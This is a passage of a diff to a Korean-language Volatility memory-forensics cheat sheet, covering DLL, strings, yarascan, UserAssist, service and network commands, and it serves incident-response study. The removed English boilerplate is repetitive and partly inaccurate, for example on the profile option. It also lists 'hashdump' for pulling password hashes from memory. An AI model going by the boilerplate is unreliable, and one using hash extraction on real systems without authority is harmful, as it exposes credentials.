-* `dllhooks`: Lists all hooked DLLs in the memory dump.
-
-These commands can be useful for identifying malicious DLLs that may have been injected into a process or for analyzing the functionality of a specific DLL.
-{% endtab %}
-{% endtabs %}
-
```bash
./vol.py -f file.dmp windows.dlllist.DllList [--pid ] #List dlls used by each
./vol.py -f file.dmp windows.dumpfiles.DumpFiles --pid #Dump the .exe and dlls of the process in the current directory process
```
+{% endtab %}
-## Volatility Cheat Sheet
-
-### Introduction
-
-This cheat sheet provides a quick reference guide for using Volatility, a popular open-source memory forensics framework. Volatility allows analysts to extract valuable information from memory dumps, such as running processes, network connections, and loaded modules. This cheat sheet covers some of the most commonly used Volatility commands and their corresponding options.
-
-### Installation
-
-To install Volatility, follow these steps:
-
-1. Install Python 2.7 or later.
-2. Install the required Python packages by running the following command:
-
- ```
- pip install -r requirements.txt
- ```
-3. Download the latest version of Volatility from the official GitHub repository:
-
- ```
- git clone https://github.com/volatilityfoundation/volatility.git
- ```
-4. Change to the Volatility directory:
-
- ```
- cd volatility
- ```
-5. Run Volatility using the following command:
-
- ```
- python vol.py
- ```
-
-### Basic Usage
-
-To analyze a memory dump using Volatility, follow these steps:
-
-1. Identify the profile of the memory dump. The profile specifies the operating system and service pack version. Use the `imageinfo` command to retrieve this information:
-
- ```
- python vol.py -f memory_dump.raw imageinfo
- ```
-2. Set the profile using the `-p` option:
-
- ```
- python vol.py -f memory_dump.raw --profile=Win7SP1x64
- ```
-3. Run the desired Volatility command. For example, to list all running processes, use the `pslist` command:
-
- ```
- python vol.py -f memory_dump.raw --profile=Win7SP1x64 pslist
- ```
-
-### Common Commands
-
-* `imageinfo`: Retrieves information about the memory dump, such as the profile, architecture, and build time.
-* `pslist`: Lists all running processes.
-* `pstree`: Displays the process tree, showing parent-child relationships between processes.
-* `psscan`: Scans for processes in memory.
-* `dlllist`: Lists loaded DLLs for each process.
-* `handles`: Lists open handles for each process.
-* `connections`: Lists network connections.
-* `netscan`: Scans for network connections in memory.
-* `malfind`: Finds hidden or injected code in memory.
-* `cmdscan`: Scans for command history in memory.
-* `filescan`: Scans for file objects in memory.
-* `dumpfiles`: Extracts files from memory.
-* `hivelist`: Lists registry hives.
-* `hivedump`: Dumps a registry hive.
-* `hashdump`: Dumps password hashes from memory.
-
-### Additional Resources
-
-* [Volatility Documentation](https://github.com/volatilityfoundation/volatility/wiki)
-* [Volatility GitHub Repository](https://github.com/volatilityfoundation/volatility)
-
+{% tab title="vol2" %}
```bash
volatility --profile=Win7SP1x86_23418 dlllist --pid=3152 -f file.dmp #Get dlls of a proc
volatility --profile=Win7SP1x86_23418 dlldump --pid=3152 --dump-dir=. -f file.dmp #Dump dlls of a proc
```
+{% endtab %}
+{% endtabs %}
### 프로세스별 문자열
-Volatility를 사용하면 문자열이 어떤 프로세스에 속하는지 확인할 수 있습니다.
+Volatility는 문자열이 어떤 프로세스에 속하는지 확인할 수 있게 해줍니다.
{% tabs %}
{% tab title="vol3" %}
@@ -1351,82 +346,9 @@ Volatility를 사용하면 문자열이 어떤 프로세스에 속하는지 확
strings file.dmp > /tmp/strings.txt
./vol.py -f /tmp/file.dmp windows.strings.Strings --strings-file /tmp/strings.txt
```
+{% endtab %}
-### Volatility Cheat Sheet
-
-#### Introduction
-
-This cheat sheet provides a quick reference guide for using Volatility, a popular open-source memory forensics framework. Volatility allows analysts to extract valuable information from memory dumps, such as running processes, network connections, and loaded modules. This cheat sheet covers some of the most commonly used Volatility commands and their corresponding options.
-
-#### Installation
-
-To install Volatility, follow these steps:
-
-1. Install Python 2.7 or later.
-2. Install the required Python packages by running the following command:
-
- ```
- pip install -r requirements.txt
- ```
-3. Download the latest version of Volatility from the official GitHub repository:
-
- ```
- git clone https://github.com/volatilityfoundation/volatility.git
- ```
-4. Change to the Volatility directory:
-
- ```
- cd volatility
- ```
-5. Run Volatility using the following command:
-
- ```
- python vol.py
- ```
-
-#### Basic Usage
-
-To analyze a memory dump using Volatility, follow these steps:
-
-1. Identify the profile of the memory dump. The profile specifies the operating system and service pack version. Use the `imageinfo` command to retrieve this information:
-
- ```
- python vol.py -f memory_dump.raw imageinfo
- ```
-2. Set the profile using the `-p` option:
-
- ```
- python vol.py -f memory_dump.raw --profile=Win7SP1x64
- ```
-3. Run the desired Volatility command. For example, to list all running processes, use the `pslist` command:
-
- ```
- python vol.py -f memory_dump.raw --profile=Win7SP1x64 pslist
- ```
-
-#### Common Commands
-
-* `imageinfo`: Retrieves information about the memory dump, such as the profile, architecture, and build time.
-* `pslist`: Lists all running processes.
-* `pstree`: Displays the process tree, showing parent-child relationships between processes.
-* `psscan`: Scans for processes in memory.
-* `dlllist`: Lists loaded DLLs for each process.
-* `handles`: Lists open handles for each process.
-* `connections`: Lists network connections.
-* `netscan`: Scans for network connections in memory.
-* `malfind`: Finds hidden or injected code in memory.
-* `cmdscan`: Scans for command history in memory.
-* `filescan`: Scans for file objects in memory.
-* `dumpfiles`: Extracts files from memory.
-* `hivelist`: Lists registry hives.
-* `hivedump`: Dumps a registry hive.
-* `hashdump`: Dumps password hashes from memory.
-
-#### Additional Resources
-
-* [Volatility Documentation](https://github.com/volatilityfoundation/volatility/wiki)
-* [Volatility GitHub Repository](https://github.com/volatilityfoundation/volatility)
-
+{% tab title="vol2" %}
```bash
strings file.dmp > /tmp/strings.txt
volatility -f /tmp/file.dmp windows.strings.Strings --string-file /tmp/strings.txt
@@ -1437,7 +359,7 @@ strings 3532.dmp > strings_file
{% endtab %}
{% endtabs %}
-이는 yarascan 모듈을 사용하여 프로세스 내에서 문자열을 검색할 수도 있습니다:
+또한 yarascan 모듈을 사용하여 프로세스 내에서 문자열을 검색할 수 있습니다:
{% tabs %}
{% tab title="vol3" %}
@@ -1445,64 +367,9 @@ strings 3532.dmp > strings_file
./vol.py -f file.dmp windows.vadyarascan.VadYaraScan --yara-rules "https://" --pid 3692 3840 3976 3312 3084 2784
./vol.py -f file.dmp yarascan.YaraScan --yara-rules "https://"
```
+{% endtab %}
-### Volatility Cheat Sheet
-
-#### Introduction
-
-This cheat sheet provides a quick reference guide for using Volatility, a popular open-source memory forensics framework. Volatility allows analysts to extract valuable information from memory dumps, such as running processes, network connections, and loaded modules. The cheat sheet includes commonly used commands and their descriptions, making it a handy resource for memory dump analysis.
-
-#### Installation
-
-To install Volatility, follow these steps:
-
-1. Install Python 2.7 or Python 3.x.
-2. Install the required Python packages by running `pip install -r requirements.txt`.
-3. Download the latest release of Volatility from the official GitHub repository.
-4. Extract the downloaded archive.
-5. Navigate to the extracted directory and run `python vol.py` to start Volatility.
-
-#### Basic Commands
-
-* `imageinfo`: Displays information about the memory dump, such as the operating system version and architecture.
-* `pslist`: Lists all running processes in the memory dump.
-* `pstree`: Displays a tree-like representation of the processes in the memory dump.
-* `psscan`: Scans the memory dump for hidden or unlinked processes.
-* `dlllist`: Lists all loaded DLLs in the memory dump.
-* `handles`: Lists all open handles in the memory dump.
-* `filescan`: Scans the memory dump for file objects.
-* `netscan`: Lists all network connections in the memory dump.
-* `connections`: Displays detailed information about a specific network connection.
-* `cmdline`: Displays the command line arguments of a specific process.
-* `malfind`: Scans the memory dump for potential malware artifacts.
-* `dump`: Dumps a specific process from the memory dump.
-
-#### Advanced Commands
-
-* `mftparser`: Parses the Master File Table (MFT) for file system artifacts.
-* `hivelist`: Lists all registry hives in the memory dump.
-* `printkey`: Displays the contents of a specific registry key.
-* `dumpregistry`: Dumps a specific registry hive from the memory dump.
-* `modscan`: Scans the memory dump for kernel modules.
-* `ssdt`: Displays the System Service Descriptor Table (SSDT) in the memory dump.
-* `driverirp`: Displays the IRP (I/O Request Packet) hooks in the memory dump.
-* `vadinfo`: Displays information about the Virtual Address Descriptor (VAD) tree in the memory dump.
-* `vaddump`: Dumps a specific memory region from the memory dump.
-
-#### Plugin Usage
-
-Volatility also supports plugins, which provide additional functionality. To use a plugin, run `python vol.py --plugin=`. Some commonly used plugins include:
-
-* `malfind`: Scans the memory dump for potential malware artifacts.
-* `timeliner`: Creates a timeline of events based on various artifacts in the memory dump.
-* `psxview`: Displays detailed information about processes, including hidden and unlinked processes.
-* `svcscan`: Lists all Windows services in the memory dump.
-* `apihooks`: Displays information about API hooks in the memory dump.
-
-#### Conclusion
-
-This cheat sheet covers the basic usage of Volatility for memory dump analysis. By leveraging the power of Volatility and its plugins, analysts can uncover valuable information from memory dumps, aiding in incident response, malware analysis, and forensic investigations.
-
+{% tab title="vol2" %}
```bash
volatility --profile=Win7SP1x86_23418 yarascan -Y "https://" -p 3692,3840,3976,3312,3084,2784
```
@@ -1511,90 +378,27 @@ volatility --profile=Win7SP1x86_23418 yarascan -Y "https://" -p 3692,3840,3976,3
### UserAssist
-**Windows**는 **UserAssist 키**라는 레지스트리 기능을 사용하여 실행한 프로그램을 추적합니다. 이러한 키는 각 프로그램이 실행된 횟수와 마지막 실행 시간을 기록합니다.
+**Windows**는 **UserAssist 키**라는 레지스트리 기능을 사용하여 실행한 프로그램을 추적합니다. 이 키는 각 프로그램이 실행된 횟수와 마지막 실행 시간을 기록합니다.
+{% tabs %}
+{% tab title="vol3" %}
```bash
./vol.py -f file.dmp windows.registry.userassist.UserAssist
```
+{% endtab %}
-## Volatility Cheat Sheet
-
-### Introduction
-
-This cheat sheet provides a quick reference guide for using Volatility, a popular open-source memory forensics framework. Volatility allows analysts to extract valuable information from memory dumps, such as running processes, network connections, and loaded modules. This cheat sheet covers some of the most commonly used Volatility commands and their corresponding options.
-
-### Installation
-
-To install Volatility, follow these steps:
-
-1. Install Python 2.7 or later.
-2. Install the required Python packages by running the following command:
-
- ```
- pip install volatility
- ```
-3. Download the Volatility source code from the official GitHub repository:
-
- ```
- git clone https://github.com/volatilityfoundation/volatility.git
- ```
-4. Navigate to the Volatility directory and run the following command to verify the installation:
-
- ```
- python vol.py -h
- ```
-
-### Basic Usage
-
-To analyze a memory dump using Volatility, follow these steps:
-
-1. Identify the profile of the memory dump. The profile specifies the operating system and service pack version. Use the `imageinfo` command to retrieve this information:
-
- ```
- python vol.py -f memory_dump.raw imageinfo
- ```
-2. Once you have identified the profile, use the appropriate plugin to extract the desired information. For example, to list all running processes, use the `pslist` plugin:
-
- ```
- python vol.py -f memory_dump.raw --profile=Win7SP1x64 pslist
- ```
-3. Use the available options to filter and format the output as needed. For example, to display only the process names and PIDs, use the `--output=csv` and `--columns=Name,PID` options:
-
- ```
- python vol.py -f memory_dump.raw --profile=Win7SP1x64 pslist --output=csv --columns=Name,PID
- ```
-
-### Advanced Usage
-
-Volatility provides a wide range of plugins for analyzing different aspects of memory dumps. Some of the commonly used plugins include:
-
-* `pslist`: Lists all running processes.
-* `netscan`: Displays network connections.
-* `malfind`: Identifies injected and hidden code.
-* `dlllist`: Lists loaded DLLs.
-* `filescan`: Scans for file handles and file objects.
-* `cmdscan`: Lists command history.
-* `hivelist`: Lists registry hives.
-
-To use these plugins, specify the desired plugin name after the `--profile` option. For example, to list all loaded DLLs, use the `dlllist` plugin:
-
-```
-python vol.py -f memory_dump.raw --profile=Win7SP1x64 dlllist
-```
-
-### Conclusion
-
-Volatility is a powerful tool for analyzing memory dumps and extracting valuable information for forensic investigations. This cheat sheet provides a quick reference guide for using Volatility and highlights some of the most commonly used commands and plugins. Experiment with different options and plugins to maximize the effectiveness of your memory analysis.
-
+{% tab title="vol2" %}
```
volatility --profile=Win7SP1x86_23418 -f file.dmp userassist
```
+{% endtab %}
+{% endtabs %}
-[**RootedCON**](https://www.rootedcon.com/)은 **스페인**에서 가장 관련성 있는 사이버 보안 행사이며 **유럽**에서 가장 중요한 행사 중 하나입니다. **기술적인 지식을 촉진하는 미션**을 가지고 있는 이 회의는 모든 분야의 기술 및 사이버 보안 전문가들에게 열정적인 만남의 장입니다.
+[**RootedCON**](https://www.rootedcon.com/)은 **스페인**에서 가장 관련성이 높은 사이버 보안 이벤트이며 **유럽**에서 가장 중요한 행사 중 하나입니다. **기술 지식을 촉진하는 사명**을 가지고, 이 컨그레스는 모든 분야의 기술 및 사이버 보안 전문가들이 모이는 뜨거운 만남의 장소입니다.
{% embed url="https://www.rootedcon.com/" %}
@@ -1606,75 +410,19 @@ volatility --profile=Win7SP1x86_23418 -f file.dmp userassist
./vol.py -f file.dmp windows.svcscan.SvcScan #List services
./vol.py -f file.dmp windows.getservicesids.GetServiceSIDs #Get the SID of services
```
+{% endtab %}
-### Volatility Cheat Sheet
-
-#### Introduction
-
-This cheat sheet provides a quick reference guide for using Volatility, a popular open-source memory forensics framework. Volatility allows analysts to extract valuable information from memory dumps, such as running processes, network connections, and loaded modules. The cheat sheet includes commonly used commands and their descriptions, making it a handy resource for memory dump analysis.
-
-#### Installation
-
-To install Volatility, follow these steps:
-
-1. Install Python 2.7 or Python 3.x.
-2. Install the required Python packages by running `pip install -r requirements.txt`.
-3. Download the latest release of Volatility from the official GitHub repository.
-4. Extract the downloaded archive.
-5. Navigate to the extracted directory and run `python vol.py`.
-
-#### Basic Commands
-
-* `imageinfo`: Displays information about the memory dump, such as the operating system version and architecture.
-* `pslist`: Lists all running processes in the memory dump.
-* `pstree`: Displays the process tree, showing parent-child relationships between processes.
-* `psscan`: Scans the memory dump for hidden or terminated processes.
-* `dlllist`: Lists all loaded DLLs in the memory dump.
-* `handles`: Lists all open handles in the memory dump.
-* `filescan`: Scans the memory dump for file objects.
-* `netscan`: Lists all network connections in the memory dump.
-* `connections`: Displays detailed information about a specific network connection.
-* `cmdline`: Displays the command line arguments of a specific process.
-* `malfind`: Scans the memory dump for potential malware artifacts.
-* `dumpfiles`: Extracts files from the memory dump.
-
-#### Advanced Commands
-
-* `malfind`: Scans the memory dump for potential malware artifacts.
-* `yarascan`: Scans the memory dump using YARA rules.
-* `vadinfo`: Displays information about the Virtual Address Descriptor (VAD) tree.
-* `vaddump`: Dumps the memory range associated with a specific VAD node.
-* `vadtree`: Displays the VAD tree, showing the memory ranges allocated to processes.
-* `vadwalk`: Walks the VAD tree, displaying the memory ranges allocated to a specific process.
-* `modscan`: Scans the memory dump for loaded modules.
-* `moddump`: Dumps the memory range associated with a specific module.
-* `modscan`: Scans the memory dump for loaded modules.
-* `moddump`: Dumps the memory range associated with a specific module.
-
-#### Plugin Usage
-
-Volatility also provides a wide range of plugins that extend its functionality. To use a plugin, run `python vol.py -f --profile=`. Some commonly used plugins include:
-
-* `malfind`: Scans the memory dump for potential malware artifacts.
-* `timeliner`: Extracts timeline information from the memory dump.
-* `dumpregistry`: Dumps the Windows registry from the memory dump.
-* `hivelist`: Lists the registry hives in the memory dump.
-* `hashdump`: Dumps the password hashes from the memory dump.
-* `svcscan`: Scans the memory dump for Windows services.
-* `getsids`: Lists the Security Identifiers (SIDs) in the memory dump.
-
-#### Conclusion
-
-This cheat sheet provides a concise overview of Volatility commands and plugins for memory dump analysis. By leveraging the power of Volatility, analysts can uncover valuable information from memory dumps, aiding in incident response, malware analysis, and forensic investigations.
-
+{% tab title="vol2" %}
```bash
#Get services and binary path
volatility --profile=Win7SP1x86_23418 svcscan -f file.dmp
#Get name of the services and SID (slow)
volatility --profile=Win7SP1x86_23418 getservicesids -f file.dmp
```
+{% endtab %}
+{% endtabs %}
-### 네트워크
+## 네트워크
{% tabs %}
{% tab title="vol3" %}
@@ -1682,80 +430,9 @@ volatility --profile=Win7SP1x86_23418 getservicesids -f file.dmp
./vol.py -f file.dmp windows.netscan.NetScan
#For network info of linux use volatility2
```
+{% endtab %}
-### Volatility Cheat Sheet
-
-#### Introduction
-
-This cheat sheet provides a quick reference guide for using Volatility, a popular open-source memory forensics framework. Volatility allows analysts to extract valuable information from memory dumps, such as running processes, network connections, and loaded modules. This cheat sheet covers some of the most commonly used Volatility commands and their corresponding options.
-
-#### Installation
-
-To install Volatility, follow these steps:
-
-1. Install Python 2.7 or later.
-2. Install the required Python packages by running the following command:
-
-```bash
-pip install volatility
-```
-
-#### Basic Usage
-
-To analyze a memory dump using Volatility, use the following command:
-
-```bash
-volatility -f [options]
-```
-
-Replace `` with the path to the memory dump file and `` with the desired Volatility command.
-
-#### Commonly Used Commands
-
-**imageinfo**
-
-The `imageinfo` command displays information about the memory dump, such as the operating system version, architecture, and profile. Use the following command to run `imageinfo`:
-
-```bash
-volatility -f imageinfo
-```
-
-**pslist**
-
-The `pslist` command lists all running processes in the memory dump. Use the following command to run `pslist`:
-
-```bash
-volatility -f